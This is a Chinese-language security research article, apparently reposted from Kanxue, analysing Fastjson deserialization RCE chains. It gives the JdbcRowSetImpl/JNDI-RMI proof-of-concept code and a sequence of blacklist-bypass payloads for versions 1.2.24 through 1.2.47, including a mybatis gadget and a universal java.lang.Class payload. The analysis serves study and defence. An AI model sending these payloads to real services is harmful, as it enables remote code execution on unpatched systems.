一
实验环境
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
public class CalcFactory implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new Calc();
}
}
public class RMIServerReference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "CalcFactory", "");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/Calc", refObjWrapper);
System.out.println("RMI server running...");
}
public static void main(String[] args) throws Exception {
new RMIServerReference().register();
}
}
public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +
""@type":"com.sun.rowset.JdbcRowSetImpl"," +
""dataSourceName":"rmi://127.0.0.1:1099/Calc", " +
""autoCommit":true" +
"}";
JSON.parse(payload);
}
}
二
Fastjson版本
1.2.24 JdbcRowSetImpl利用链分析
@type
。继续单步至322行:
PS:1.2.24版本黑名单中只有Thread类。
继续单步至461行:
接下来返回到DefaultJSONParser的368行,用上一步创建的反序列化器执行反序列化操作:
继续单步至83行,此处将要给JdbcRowSetImpl对象设置autoCommit属性:
在setAutoCommit方法内打个断点执行到此处:
rmi://127.0.0.1:1099/Calc
,所以该行执行后就会请求到Calc类,从而触发RCE。总结:JdbcRowSetImpl利用链如下:
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
...
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
...
parse:128, JSON (com.alibaba.fastjson)
main:15, FastjsonDeserializePoc (com.milon.poc)
1.2.25版本修复及绕过
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.sun.rowset.JdbcRowSetImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:844)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:15)
com.sun.
包下的所有类,而JdbcRowSetImpl正是该包下的,所以此处就被过滤了。虽然被拉黑了,但也不是不可绕过,观察checkAutoType后面的代码,在861行调用了TypeUtils.loadClass方法:
String payload = "{" +
""@type":"Lcom.sun.rowset.JdbcRowSetImpl;"," +
""dataSourceName":"rmi://127.0.0.1:1099/Calc", " +
""autoCommit":true" +
"}";
@type
后面的类型字符串前面加了L,后面加了;再次debug:
public class FastjsonDeserializePoc {
public static void main(String[] args) {
//设置信任远程服务器加载的对象
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
//开启autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{" +
""@type":"Lcom.sun.rowset.JdbcRowSetImpl;"," +
""dataSourceName":"rmi://127.0.0.1:1099/Calc", " +
""autoCommit":true" +
"}";
JSON.parse(payload);
}
}
1.2.42版本修复及绕过
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. Lcom.sun.rowset.JdbcRowSetImpl;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:925)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)
@type
属性经过掐头去尾得到的字符串com.sun.rowset.JdbcRowSetImpl
经过hash又落在了黑名单内。我们往前看checkAutoType是怎么处理的:Lxxx;
的形式,可以证明:将表达式整理为单行:
(((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L
"L*;"
代入,结果为true:"*L;"
,结果为false:"L;*"
也为false,说明只有"Lxxx;"
形式的字符串才会得出true的结果,而我们的payload:Lcom.sun.rowset.JdbcRowSetImpl;
正符合该形式,所以会被掐头去尾,而后计算出的hash值落在了黑名单内。知道了原理,那么我们可以使用惯用伎俩双写绕过,将payload改为
LLcom.sun.rowset.JdbcRowSetImpl;;
即可绕过。1.2.43版本修复及绕过
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)
at com.alibaba.fastjson.JSON.parse(JSON.java:152)
at com.alibaba.fastjson.JSON.parse(JSON.java:162)
at com.alibaba.fastjson.JSON.parse(JSON.java:131)
at com.milon.poc.FastjsonDeserializePoc.main(FastjsonDeserializePoc.java:17)
这样的话之前的双写绕过就不灵了,不过loadClass里除了对L;的处理,还有这么一个逻辑:
[com.sun.rowset.JdbcRowSetImpl
exepct '[', but ,, pos 42, json
,大意是json偏移42字符的位置期望一个[
,但实际是一个,
那我们就在第42个字符的地方插入一个 [,将payload改为:String payload = "{" +
""@type":"[com.sun.rowset.JdbcRowSetImpl"[," +
""dataSourceName":"rmi://127.0.0.1:1099/Calc", " +
""autoCommit":true" +
"}";
syntax error, expect {, actual string, pos 43
,提示第43个字符期望一个{
,那我们再满足它:String payload = "{" +
""@type":"[com.sun.rowset.JdbcRowSetImpl"[{," +
""dataSourceName":"rmi://127.0.0.1:1099/Calc", " +
""autoCommit":true" +
"}";
1.2.44版本修复
(BASIC ^ className.charAt(0)) * PRIME == 0xaf64164c86024f1aL
"["返回true:
1.2.45第三方框架RCE
java.util.Properties
类型的对象时,fastjson会把序列化字符串中xxx字段对应的key->value全部放到这个Properties参数中,示例:定义一个类,里面包含setXxx方法:
public class MyFactory {
public void setXxx(Properties properties) {
System.out.println("MyFactory setProperties...");
}
}
String payload = "{n" +
" "@type":"MyFactory",n" +
" "xxx":{n" +
" "k1":"v1",n" +
" "k2":"v2"n" +
" }n" +
"}";
如果某些第三方框架也有这样的特征就可以利用,比如mybatis:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
JndiDataSourceFactory
类,里面有一个setProperties方法,参数是Properties对象,并且同样调用了InitialContext的lookup方法:String payload = "{n" +
" "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",n" +
" "properties":{n" +
" "data_source":"rmi://127.0.0.1:1099/Calc"n" +
" }n" +
"}";
1.2.46版本修复
1.2.47及以下版本通杀payload
@type
为java.lang.Class
。strVal的取值来自objVal:
// 判断解析状态是否为重定向
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
// 如果是重定向状态则将解析状态设为NONE
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);//期望下一个字符是逗号,
// 判断下一个是否是字符串
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 如果是字符串,但其值不是val则抛异常
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);//期望下一个字符是冒号:
objVal = parser.parse();//解析下一个value,并赋值给objVal
parser.accept(JSONToken.RBRACE);//期望下一个字符是右花括号 }
}
{"val": "xxx"}
,所以我们先构造一个payload:{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/Calc",
"autoCommit": "true"
}
}
这个payload可以通杀<=1.2.47的所有版本,甚至不需要开启autoTypeSupport。
1.2.48版本修复
java.lang.Class
列入了黑名单,同时在调用TypeUtils.loadClass方法时,显式传入了cache=false,这样JdbcRowSetImpl将无法缓存。参考
看雪ID:米龙·0xFFFE
https://bbs.kanxue.com/user-home-997719.htm
#
原文始发于微信公众号(看雪学苑):Fastjson反序列化利用链分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论